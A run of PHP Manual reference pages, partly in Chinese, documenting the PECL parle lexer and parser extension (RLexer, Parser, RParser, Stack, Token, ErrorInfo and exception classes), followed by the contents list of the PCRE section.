Finalize the lexer rule set

  • ? Parle\RLexer::advance
  • Parle\RLexer::callout ?
  • PHP Manual
  • Parle\RLexer
  • Finalize the lexer rule set

Parle\RLexer::build

(PECL parle >= 0.5.1)

Parle\RLexer::build — Finalize the lexer rule set

说明

public Parle\RLexer::build(): void

Rules, previously added with Parle\RLexer::push() are finalized. This method call has to be done after all the necessary rules was pushed. The rule set becomes read only. The lexing can begin.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Define token callback

  • ? Parle\RLexer::build
  • Parle\RLexer::consume ?
  • PHP Manual
  • Parle\RLexer
  • Define token callback

Parle\RLexer::callout

(PECL parle >= 0.7.2)

Parle\RLexer::callout — Define token callback

说明

public Parle\RLexer::callout(int $id, callable $callback): void

Define a callback to be invoked once lexer encounters a particular token.

参数

id

Token id.

callback

Callable to be invoked. The callable doesn't receive any arguments and its return value is ignored.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Pass the data for processing

  • ? Parle\RLexer::callout
  • Parle\RLexer::dump ?
  • PHP Manual
  • Parle\RLexer
  • Pass the data for processing

Parle\RLexer::consume

(PECL parle >= 0.5.1)

Parle\RLexer::consume — Pass the data for processing

说明

public Parle\RLexer::consume(string $data): void

Consume the data for lexing.

参数

data

Data to be lexed.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Dump the state machine

  • ? Parle\RLexer::consume
  • Parle\RLexer::getToken ?
  • PHP Manual
  • Parle\RLexer
  • Dump the state machine

Parle\RLexer::dump

(PECL parle >= 0.5.1)

Parle\RLexer::dump — Dump the state machine

说明

public Parle\RLexer::dump(): void

Dump the current state machine to stdout.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the current token

  • ? Parle\RLexer::dump
  • Parle\RLexer::insertMacro ?
  • PHP Manual
  • Parle\RLexer
  • Retrieve the current token

Parle\RLexer::getToken

(PECL parle >= 0.5.1)

Parle\RLexer::getToken — Retrieve the current token

说明

public Parle\RLexer::getToken(): Parle\Token

Retrive the current token.

参数

此函数没有参数。

返回值

Returns an instance of Parle\Token.

User Contributed Notes

There are no user contributed notes for this page.


Insert regex macro

  • ? Parle\RLexer::getToken
  • Parle\RLexer::push ?
  • PHP Manual
  • Parle\RLexer
  • Insert regex macro

Parle\RLexer::insertMacro

(PECL parle >= 0.5.1)

Parle\RLexer::insertMacro — Insert regex macro

说明

public Parle\RLexer::insertMacro(string $name, string $regex): void

Insert a regex macro, that can be later used as a shortcut and included in other regular expressions.

参数

name

Name of the macros.

regex

Regular expression.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Add a lexer rule

  • ? Parle\RLexer::insertMacro
  • Parle\RLexer::pushState ?
  • PHP Manual
  • Parle\RLexer
  • Add a lexer rule

Parle\RLexer::push

(PECL parle >= 0.5.1)

Parle\RLexer::push — Add a lexer rule

说明

public Parle\RLexer::push(string $regex, int $id): void
public Parle\RLexer::push(
string $state,
string $regex,
int $id,
string $newState
): void
public Parle\RLexer::push(string $state, string $regex, string $newState): void

Push a pattern for lexeme recognition.

A 'start state' and 'exit state' can be specified by using a suitable signature.

参数

regex

Regular expression used for token matching.

id

Token id. If the lexer instance is meant to be used standalone, this can be an arbitrary number. If the lexer instance is going to be passed to the parser, it has to be an id returned by Parle\RParser::tokenid().

state

State name. If '*' is used as start state, then the rule is applied to all lexer states.

newState

New state name, after the rule was applied.

If '.' is specified as the exit state, then the lexer state is unchanged when that rule matches. An exit state with '>' before the name means push. Use the signature without id for either continuation or to start matching, when a continuation or recursion is required.

If '<' is specified as exit state, it means pop. In that case, the signature containing the id can be used to identify the match. Note that even in the case an id is specified, the rule will finish first when all the previous pushes popped.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Push a new start state

  • ? Parle\RLexer::push
  • Parle\RLexer::reset ?
  • PHP Manual
  • Parle\RLexer
  • Push a new start state

Parle\RLexer::pushState

(PECL parle >= 0.5.1)

Parle\RLexer::pushState — Push a new start state

说明

public Parle\RLexer::pushState(string $state): int

This lexer type can have more than one state machine. This allows you to lex different tokens depending on context, thus allowing simple parsing to take place. Once a state pushed, it can be used with a suitable Parle\RLexer::push() signature variant.

参数

state

Name of the state.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Reset lexer

  • ? Parle\RLexer::pushState
  • Parle\Parser ?
  • PHP Manual
  • Parle\RLexer
  • Reset lexer

Parle\RLexer::reset

(PECL parle >= 0.7.1)

Parle\RLexer::reset — Reset lexer

说明

public Parle\RLexer::reset(int $pos): void

Reset lexing optionally supplying the desired offset.

参数

pos

Reset position.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The Parle\Parser class

(PECL parle >= 0.5.1)

简介

Parser class. Rules can be defined on the fly. Once finalized, a Parle\Lexer instance is required to deliver the token stream.

类摘要

class Parle\Parser {
/* 常量 */
const int ACTION_ERROR = 0;
const int ACTION_SHIFT = 1;
const int ACTION_REDUCE = 2;
const int ACTION_GOTO = 3;
const int ACTION_ACCEPT = 4;
const int ERROR_SYNTAX = 0;
const int ERROR_NON_ASSOCIATIVE = 1;
const int ERROR_UNKNOWN_TOKEN = 2;
/* 属性 */
public int $action = 0;
public int $reduceId = 0;
/* 方法 */
public advance(): void
public build(): void
public consume(string $data, Parle\Lexer $lexer): void
public dump(): void
public errorInfo(): Parle\ErrorInfo
public left(string $tok): void
public nonassoc(string $tok): void
public precedence(string $tok): void
public push(string $name, string $rule): int
public reset(int $tokenId = ?): void
public right(string $tok): void
public sigil(int $idx): string
public sigilCount(): int
public sigilName(int $idx): string
public token(string $tok): void
public tokenId(string $tok): int
public trace(): string
public validate(string $data, Parle\Lexer $lexer): bool
}

预定义常量

Parle\Parser::ACTION_ERROR

Parle\Parser::ACTION_SHIFT

Parle\Parser::ACTION_REDUCE

Parle\Parser::ACTION_GOTO

Parle\Parser::ACTION_ACCEPT

Parle\Parser::ERROR_SYNTAX

Parle\Parser::ERROR_NON_ASSOCIATIVE

Parle\Parser::ERROR_UNKNOWN_TOKEN

属性

action

Current parser action that matches one of the action class constants, readonly.

reduceId

Grammar rule id just processed in the reduce action. The value corresponds either to a token or to a production id. Readonly.

Table of Contents

  • Parle\Parser::advance — Process next parser rule
  • Parle\Parser::build — Finalize the grammar rules
  • Parle\Parser::consume — Consume the data for processing
  • Parle\Parser::dump — Dump the grammar
  • Parle\Parser::errorInfo — Retrieve the error information
  • Parle\Parser::left — Declare a token with left-associativity
  • Parle\Parser::nonassoc — Declare a token with no associativity
  • Parle\Parser::precedence — Declare a precedence rule
  • Parle\Parser::push — Add a grammar rule
  • Parle\Parser::reset — Reset parser state
  • Parle\Parser::right — Declare a token with right-associativity
  • Parle\Parser::sigil — Retrieve a matching part of a rule
  • Parle\Parser::sigilCount — Number of elements in matched rule
  • Parle\Parser::sigilName — Retrieve a rule or token name
  • Parle\Parser::token — Declare a token
  • Parle\Parser::tokenId — Get token id
  • Parle\Parser::trace — Trace the parser operation
  • Parle\Parser::validate — Validate input

User Contributed Notes

There are no user contributed notes for this page.


Process next parser rule

  • ? Parle\Parser
  • Parle\Parser::build ?
  • PHP Manual
  • Parle\Parser
  • Process next parser rule

Parle\Parser::advance

(PECL parle >= 0.5.1)

Parle\Parser::advance — Process next parser rule

说明

public Parle\Parser::advance(): void

Process next parser rule.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Finalize the grammar rules

  • ? Parle\Parser::advance
  • Parle\Parser::consume ?
  • PHP Manual
  • Parle\Parser
  • Finalize the grammar rules

Parle\Parser::build

(PECL parle >= 0.5.1)

Parle\Parser::build — Finalize the grammar rules

说明

public Parle\Parser::build(): void

Any tokens and grammar rules previously added are finalized. The rule set becomes readonly and the parser is ready to start.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Consume the data for processing

  • ? Parle\Parser::build
  • Parle\Parser::dump ?
  • PHP Manual
  • Parle\Parser
  • Consume the data for processing

Parle\Parser::consume

(PECL parle >= 0.5.1)

Parle\Parser::consume — Consume the data for processing

说明

public Parle\Parser::consume(string $data, Parle\Lexer $lexer): void

Consume the data for parsing.

参数

data

Data to be parsed.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Dump the grammar

  • ? Parle\Parser::consume
  • Parle\Parser::errorInfo ?
  • PHP Manual
  • Parle\Parser
  • Dump the grammar

Parle\Parser::dump

(PECL parle >= 0.5.1)

Parle\Parser::dump — Dump the grammar

说明

public Parle\Parser::dump(): void

Dump the current grammar to stdout.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the error information

  • ? Parle\Parser::dump
  • Parle\Parser::left ?
  • PHP Manual
  • Parle\Parser
  • Retrieve the error information

Parle\Parser::errorInfo

(PECL parle >= 0.5.1)

Parle\Parser::errorInfo — Retrieve the error information

说明

public Parle\Parser::errorInfo(): Parle\ErrorInfo

Retrieve the error information in case Parle\Parser::action() returned the error action.

参数

此函数没有参数。

返回值

Returns an instance of Parle\ErrorInfo.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with left-associativity

  • ? Parle\Parser::errorInfo
  • Parle\Parser::nonassoc ?
  • PHP Manual
  • Parle\Parser
  • Declare a token with left-associativity

Parle\Parser::left

(PECL parle >= 0.5.1)

Parle\Parser::left — Declare a token with left-associativity

说明

public Parle\Parser::left(string $tok): void

Declare a terminal with left associativity.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with no associativity

  • ? Parle\Parser::left
  • Parle\Parser::precedence ?
  • PHP Manual
  • Parle\Parser
  • Declare a token with no associativity

Parle\Parser::nonassoc

(PECL parle >= 0.5.1)

Parle\Parser::nonassoc — Declare a token with no associativity

说明

public Parle\Parser::nonassoc(string $tok): void

Declare a terminal, that cannot appear more than once in the row.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Declare a precedence rule

  • ? Parle\Parser::nonassoc
  • Parle\Parser::push ?
  • PHP Manual
  • Parle\Parser
  • Declare a precedence rule

Parle\Parser::precedence

(PECL parle >= 0.5.1)

Parle\Parser::precedence — Declare a precedence rule

说明

public Parle\Parser::precedence(string $tok): void

Declares a precedence rule for a fictitious terminal symbol. This rule can be later used in the specific grammar rules.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Add a grammar rule

  • ? Parle\Parser::precedence
  • Parle\Parser::reset ?
  • PHP Manual
  • Parle\Parser
  • Add a grammar rule

Parle\Parser::push

(PECL parle >= 0.5.1)

Parle\Parser::push — Add a grammar rule

说明

public Parle\Parser::push(string $name, string $rule): int

Push a grammar rule. The production id returned can be used later in the parsing process to identify the rule matched.

参数

name

Rule name.

rule

The rule to be added. The syntax is Bison compatible.

返回值

Returns int representing the rule index.

User Contributed Notes

There are no user contributed notes for this page.


Reset parser state

  • ? Parle\Parser::push
  • Parle\Parser::right ?
  • PHP Manual
  • Parle\Parser
  • Reset parser state

Parle\Parser::reset

(PECL parle >= 0.7.1)

Parle\Parser::reset — Reset parser state

说明

public Parle\Parser::reset(int $tokenId = ?): void

Reset parser state using the given token id.

参数

tokenId

Token id.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with right-associativity

  • ? Parle\Parser::reset
  • Parle\Parser::sigil ?
  • PHP Manual
  • Parle\Parser
  • Declare a token with right-associativity

Parle\Parser::right

(PECL parle >= 0.5.1)

Parle\Parser::right — Declare a token with right-associativity

说明

public Parle\Parser::right(string $tok): void

Declare a terminal with right associativity.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a matching part of a rule

  • ? Parle\Parser::right
  • Parle\Parser::sigilCount ?
  • PHP Manual
  • Parle\Parser
  • Retrieve a matching part of a rule

Parle\Parser::sigil

(PECL parle >= 0.5.1)

Parle\Parser::sigil — Retrieve a matching part of a rule

说明

public Parle\Parser::sigil(int $idx): string

Retrieve a part of the match by a rule. This method is equivalent to the pseudo variable functionality in Bison.

参数

idx

Match index, zero based.

返回值

Returns a string with the matched part.

User Contributed Notes

There are no user contributed notes for this page.


Number of elements in matched rule

  • ? Parle\Parser::sigil
  • Parle\Parser::sigilName ?
  • PHP Manual
  • Parle\Parser
  • Number of elements in matched rule

Parle\Parser::sigilCount

(PECL parle >= 0.8.4)

Parle\Parser::sigilCount — Number of elements in matched rule

说明

public Parle\Parser::sigilCount(): int

Get number of elements in the matched rule.

参数

此函数没有参数。

返回值

Returns int

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a rule or token name

  • ? Parle\Parser::sigilCount
  • Parle\Parser::token ?
  • PHP Manual
  • Parle\Parser
  • Retrieve a rule or token name

Parle\Parser::sigilName

(PECL parle >= 0.8.4)

Parle\Parser::sigilName — Retrieve a rule or token name

说明

public Parle\Parser::sigilName(int $idx): string

Retrieve a partial rule name or token name corresponding to the sigil index.

参数

idx

Match index, zero based.

返回值

Returns a string with the matched part.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token

  • ? Parle\Parser::sigilName
  • Parle\Parser::tokenId ?
  • PHP Manual
  • Parle\Parser
  • Declare a token

Parle\Parser::token

(PECL parle >= 0.5.1)

Parle\Parser::token — Declare a token

说明

public Parle\Parser::token(string $tok): void

Declare a terminal to be used in the grammar.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Get token id

  • ? Parle\Parser::token
  • Parle\Parser::trace ?
  • PHP Manual
  • Parle\Parser
  • Get token id

Parle\Parser::tokenId

(PECL parle >= 0.5.1)

Parle\Parser::tokenId — Get token id

说明

public Parle\Parser::tokenId(string $tok): int

Retrieve the id of the named token.

参数

tok

Name of the token as used in Parle\Parser::token().

返回值

Returns int representing the token id.

User Contributed Notes

There are no user contributed notes for this page.


Trace the parser operation

  • ? Parle\Parser::tokenId
  • Parle\Parser::validate ?
  • PHP Manual
  • Parle\Parser
  • Trace the parser operation

Parle\Parser::trace

(PECL parle >= 0.5.1)

Parle\Parser::trace — Trace the parser operation

说明

public Parle\Parser::trace(): string

Retrieve the current parser operation description. This can be especially useful for studying the parser and to optimize the grammar.

参数

此函数没有参数。

返回值

Returns a string with the trace information.

User Contributed Notes

There are no user contributed notes for this page.


Validate input

  • ? Parle\Parser::trace
  • Parle\RParser ?
  • PHP Manual
  • Parle\Parser
  • Validate input

Parle\Parser::validate

(PECL parle >= 0.5.1)

Parle\Parser::validate — Validate input

说明

public Parle\Parser::validate(string $data, Parle\Lexer $lexer): bool

Validate an input string. The string is parsed internally, thus this method is useful for the quick input validation.

参数

data

String to be validated.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返回值

Returns bool witnessing whether the input chimes or not with the defined rules.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\RParser class

(PECL parle >= 0.7.0)

简介

Parser class. Rules can be defined on the fly. Once finalized, a Parle\RLexer instance is required to deliver the token stream.

类摘要

class Parle\RParser {
/* 常量 */
const int ACTION_ERROR = 0;
const int ACTION_SHIFT = 1;
const int ACTION_REDUCE = 2;
const int ACTION_GOTO = 3;
const int ACTION_ACCEPT = 4;
const int ERROR_SYNTAX = 0;
const int ERROR_NON_ASSOCIATIVE = 1;
const int ERROR_UNKNOWN_TOKEN = 2;
/* 属性 */
public int $action = 0;
public int $reduceId = 0;
/* 方法 */
public advance(): void
public build(): void
public consume(string $data, Parle\RLexer $rlexer): void
public dump(): void
public errorInfo(): Parle\ErrorInfo
public left(string $tok): void
public nonassoc(string $tok): void
public precedence(string $tok): void
public push(string $name, string $rule): int
public reset(int $tokenId = ?): void
public right(string $tok): void
public sigil(int $idx = ?): string
public sigilCount(): int
public sigilName(int $idx): string
public token(string $tok): void
public tokenId(string $tok): int
public trace(): string
public validate(string $data, Parle\RLexer $lexer): bool
}

预定义常量

Parle\RParser::ACTION_ERROR

Parle\RParser::ACTION_SHIFT

Parle\RParser::ACTION_REDUCE

Parle\RParser::ACTION_GOTO

Parle\RParser::ACTION_ACCEPT

Parle\RParser::ERROR_SYNTAX

Parle\RParser::ERROR_NON_ASSOCIATIVE

Parle\RParser::ERROR_UNKNOWN_TOKEN

属性

action

Current parser action that matches one of the action class constants, readonly.

reduceId

Grammar rule id just processed in the reduce action. The value corresponds either to a token or to a production id. Readonly.

Table of Contents

  • Parle\RParser::advance — Process next parser rule
  • Parle\RParser::build — Finalize the grammar rules
  • Parle\RParser::consume — Consume the data for processing
  • Parle\RParser::dump — Dump the grammar
  • Parle\RParser::errorInfo — Retrieve the error information
  • Parle\RParser::left — Declare a token with left-associativity
  • Parle\RParser::nonassoc — Declare a token with no associativity
  • Parle\RParser::precedence — Declare a precedence rule
  • Parle\RParser::push — Add a grammar rule
  • Parle\RParser::reset — Reset parser state
  • Parle\RParser::right — Declare a token with right-associativity
  • Parle\RParser::sigil — Retrieve a matching part of a rule
  • Parle\RParser::sigilCount — Number of elements in matched rule
  • Parle\RParser::sigilName — Retrieve a rule or token name
  • Parle\RParser::token — Declare a token
  • Parle\RParser::tokenId — Get token id
  • Parle\RParser::trace — Trace the parser operation
  • Parle\RParser::validate — Validate input

User Contributed Notes

There are no user contributed notes for this page.


Process next parser rule

  • ? Parle\RParser
  • Parle\RParser::build ?
  • PHP Manual
  • Parle\RParser
  • Process next parser rule

Parle\RParser::advance

(PECL parle >= 0.7.0)

Parle\RParser::advance — Process next parser rule

说明

public Parle\RParser::advance(): void

Prosess next parser rule.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Finalize the grammar rules

  • ? Parle\RParser::advance
  • Parle\RParser::consume ?
  • PHP Manual
  • Parle\RParser
  • Finalize the grammar rules

Parle\RParser::build

(PECL parle >= 0.7.0)

Parle\RParser::build — Finalize the grammar rules

说明

public Parle\RParser::build(): void

Any tokens and grammar rules previously added are finalized. The rule set becomes readonly and the parser is ready to start.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Consume the data for processing

  • ? Parle\RParser::build
  • Parle\RParser::dump ?
  • PHP Manual
  • Parle\RParser
  • Consume the data for processing

Parle\RParser::consume

(PECL parle >= 0.7.0)

Parle\RParser::consume — Consume the data for processing

说明

public Parle\RParser::consume(string $data, Parle\RLexer $rlexer): void

Consume the data for parsing.

参数

data

Data to be parsed.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Dump the grammar

  • ? Parle\RParser::consume
  • Parle\RParser::errorInfo ?
  • PHP Manual
  • Parle\RParser
  • Dump the grammar

Parle\RParser::dump

(PECL parle >= 0.7.0)

Parle\RParser::dump — Dump the grammar

说明

public Parle\RParser::dump(): void

Dump the current grammar to stdout.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the error information

  • ? Parle\RParser::dump
  • Parle\RParser::left ?
  • PHP Manual
  • Parle\RParser
  • Retrieve the error information

Parle\RParser::errorInfo

(PECL parle >= 0.7.0)

Parle\RParser::errorInfo — Retrieve the error information

说明

public Parle\RParser::errorInfo(): Parle\ErrorInfo

Retrieve the error information in case Parle\RParser::action() returned the error action.

参数

此函数没有参数。

返回值

Returns an instance of Parle\ErrorInfo.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with left-associativity

  • ? Parle\RParser::errorInfo
  • Parle\RParser::nonassoc ?
  • PHP Manual
  • Parle\RParser
  • Declare a token with left-associativity

Parle\RParser::left

(PECL parle >= 0.7.0)

Parle\RParser::left — Declare a token with left-associativity

说明

public Parle\RParser::left(string $tok): void

Declare a terminal with left associativity.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with no associativity

  • ? Parle\RParser::left
  • Parle\RParser::precedence ?
  • PHP Manual
  • Parle\RParser
  • Declare a token with no associativity

Parle\RParser::nonassoc

(PECL parle >= 0.7.0)

Parle\RParser::nonassoc — Declare a token with no associativity

说明

public Parle\RParser::nonassoc(string $tok): void

Declare a terminal, that cannot appear more than once in the row.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Declare a precedence rule

  • ? Parle\RParser::nonassoc
  • Parle\RParser::push ?
  • PHP Manual
  • Parle\RParser
  • Declare a precedence rule

Parle\RParser::precedence

(PECL parle >= 0.7.0)

Parle\RParser::precedence — Declare a precedence rule

说明

public Parle\RParser::precedence(string $tok): void

Declares a precedence rule for a fictious terminal symbol. This rule can be later used in the specific grammar rules.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Add a grammar rule

  • ? Parle\RParser::precedence
  • Parle\RParser::reset ?
  • PHP Manual
  • Parle\RParser
  • Add a grammar rule

Parle\RParser::push

(PECL parle >= 0.7.0)

Parle\RParser::push — Add a grammar rule

说明

public Parle\RParser::push(string $name, string $rule): int

Push a grammar rule. The production id returned can be used later in the parsing process to identify the rule matched.

参数

name

Rule name.

rule

The rule to be added. The syntax is Bison compatible.

返回值

Returns int representing the rule index.

User Contributed Notes

There are no user contributed notes for this page.


Reset parser state

  • ? Parle\RParser::push
  • Parle\RParser::right ?
  • PHP Manual
  • Parle\RParser
  • Reset parser state

Parle\RParser::reset

(PECL parle >= 0.7.1)

Parle\RParser::reset — Reset parser state

说明

public Parle\RParser::reset(int $tokenId = ?): void

Reset parser state using the given token id.

参数

tokenId

Token id.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Declare a token with right-associativity

  • ? Parle\RParser::reset
  • Parle\RParser::sigil ?
  • PHP Manual
  • Parle\RParser
  • Declare a token with right-associativity

Parle\RParser::right

(PECL parle >= 0.7.0)

Parle\RParser::right — Declare a token with right-associativity

说明

public Parle\RParser::right(string $tok): void

Declare a terminal with right associativity.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a matching part of a rule

  • ? Parle\RParser::right
  • Parle\RParser::sigilCount ?
  • PHP Manual
  • Parle\RParser
  • Retrieve a matching part of a rule

Parle\RParser::sigil

(PECL parle >= 0.7.0)

Parle\RParser::sigil — Retrieve a matching part of a rule

说明

public Parle\RParser::sigil(int $idx = ?): string

Retrieve a part of the match by a rule. This method is equivalent to the pseudo variable functionality in Bison.

参数

idx

Match index, zero based.

返回值

Returns a string with the matched part.

User Contributed Notes

There are no user contributed notes for this page.


Number of elements in matched rule

  • ? Parle\RParser::sigil
  • Parle\RParser::sigilName ?
  • PHP Manual
  • Parle\RParser
  • Number of elements in matched rule

Parle\RParser::sigilCount

(PECL parle >= 0.8.4)

Parle\RParser::sigilCount — Number of elements in matched rule

说明

public Parle\RParser::sigilCount(): int

Get number of elements in the matched rule.

参数

此函数没有参数。

返回值

Returns int

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a rule or token name

  • ? Parle\RParser::sigilCount
  • Parle\RParser::token ?
  • PHP Manual
  • Parle\RParser
  • Retrieve a rule or token name

Parle\RParser::sigilName

(PECL parle >= 0.8.4)

Parle\RParser::sigilName — Retrieve a rule or token name

说明

public Parle\RParser::sigilName(int $idx): string

Retrieve a partial rule name or token name corresponding to the sigil index.

参数

idx

Match index, zero based.

返回值

Returns a string with the matched part.

User Contributed Notes

There are no user contributed notes for this page.


Declare a token

  • ? Parle\RParser::sigilName
  • Parle\RParser::tokenId ?
  • PHP Manual
  • Parle\RParser
  • Declare a token

Parle\RParser::token

(PECL parle >= 0.7.0)

Parle\RParser::token — Declare a token

说明

public Parle\RParser::token(string $tok): void

Declare a terminal to be used in the grammar.

参数

tok

Token name.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Get token id

  • ? Parle\RParser::token
  • Parle\RParser::trace ?
  • PHP Manual
  • Parle\RParser
  • Get token id

Parle\RParser::tokenId

(PECL parle >= 0.7.0)

Parle\RParser::tokenId — Get token id

说明

public Parle\RParser::tokenId(string $tok): int

Retrieve the id of the named token.

参数

tok

Name of the token as used in Parle\RParser::token().

返回值

Returns int representing the token id.

User Contributed Notes

There are no user contributed notes for this page.


Trace the parser operation

  • ? Parle\RParser::tokenId
  • Parle\RParser::validate ?
  • PHP Manual
  • Parle\RParser
  • Trace the parser operation

Parle\RParser::trace

(PECL parle >= 0.7.0)

Parle\RParser::trace — Trace the parser operation

说明

public Parle\RParser::trace(): string

Retrieve the current parser operation description. This can be especially useful to study the parser and to optimize the grammar.

参数

此函数没有参数。

返回值

Returns a string with the trace information.

User Contributed Notes

There are no user contributed notes for this page.


Validate input

  • ? Parle\RParser::trace
  • Parle\Stack ?
  • PHP Manual
  • Parle\RParser
  • Validate input

Parle\RParser::validate

(PECL parle >= 0.7.0)

Parle\RParser::validate — Validate input

说明

public Parle\RParser::validate(string $data, Parle\RLexer $lexer): bool

Validate an input string. The string is parsed internally, thus this method is useful for the quick input validation.

参数

data

String to be validated.

lexer

A lexer object containing the lexing rules prepared for the particular grammar.

返回值

Returns bool whitnessing whether the input chimes or not with the defined rules.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\Stack class

(PECL parle >= 0.7.0)

简介

Parle\Stack is a LIFO stack. The elements are inserted and removed only from one end.

类摘要

class Parle\Stack {
/* 属性 */
public bool $empty = true;
public int $size = 0;
public mixed $top;
/* 方法 */
public pop(): void
public push(mixed $item): void
}

属性

empty

Whether the stack is empty, readonly.

size

Stack size, readonly.

top

Element on the top of the stack.

Table of Contents

  • Parle\Stack::pop — Pop an item from the stack
  • Parle\Stack::push — Push an item into the stack

User Contributed Notes

There are no user contributed notes for this page.


Pop an item from the stack

  • ? Parle\Stack
  • Parle\Stack::push ?
  • PHP Manual
  • Parle\Stack
  • Pop an item from the stack

Parle\Stack::pop

(PECL parle >= 0.5.1)

Parle\Stack::pop — Pop an item from the stack

说明

public Parle\Stack::pop(): void

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Push an item into the stack

  • ? Parle\Stack::pop
  • Parle\Token ?
  • PHP Manual
  • Parle\Stack
  • Push an item into the stack

Parle\Stack::push

(PECL parle >= 0.5.1)

Parle\Stack::push — Push an item into the stack

说明

public Parle\Stack::push(mixed $item): void

参数

item

Variable to be pushed.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The Parle\Token class

(PECL parle >= 0.5.2)

简介

This class represents a token. Lexer returns instances of this class.

类摘要

class Parle\Token {
/* 常量 */
const int EOI = 0;
const int UNKNOWN = -1;
const int SKIP = -2;
/* 属性 */
public int $id;
public string $value;
/* 方法 */
}

属性

id

Token id.

value

Token value.

预定义常量

Parle\Token::EOI

End of input token id.

Parle\Token::UNKNOWN

Unknown token id.

Parle\Token::SKIP

Skip token id.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\ErrorInfo class

(PECL parle >= 0.5.2)

简介

The class represents detailed error information as supplied by Parle\Parser::errorInfo()

类摘要

class Parle\ErrorInfo {
/* 属性 */
public int $id;
public int $position;
public mixed $token;
/* 方法 */
}

属性

id

Error id.

position

Position in the input, where the error occurred.

token

If applicable - the Parle\Token related to the error, otherwise null.

User Contributed Notes

There are no user contributed notes for this page.


The Parle\LexerException class

(PECL parle >= 0.5.1)

简介

类摘要

class Parle\LexerException extends Exception implements Throwable {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The Parle\ParserException class

(PECL parle >= 0.5.1)

简介

类摘要

class Parle\ParserException extends Exception implements Throwable {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


正则表达式(兼容 Perl)

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • PCRE模式
    • PCRE 正则语法 — 模式语法
    • 正则表达式模式中可用的模式修饰符 — 模式修饰符
    • 与 perl 的不同之处
  • PCRE 函数
    • preg_filter — 执行一个正则表达式搜索和替换
    • preg_grep — 返回匹配模式的数组条目
    • preg_last_error_msg — Returns the error message of the last PCRE regex execution
    • preg_last_error — 返回最后一个PCRE正则执行产生的错误代码
    • preg_match_all — 执行一个全局正则表达式匹配
    • preg_match — 执行匹配正则表达式
    • preg_quote — 转义正则表达式字符
    • preg_replace_callback_array — Perform a regular expression search and replace using callbacks
    • preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换
    • preg_replace — 执行一个正则表达式的搜索和替换
    • preg_split — 通过一个正则表达式分隔字符串

User Contributed Notes

There are no user contributed notes for this page.


简介

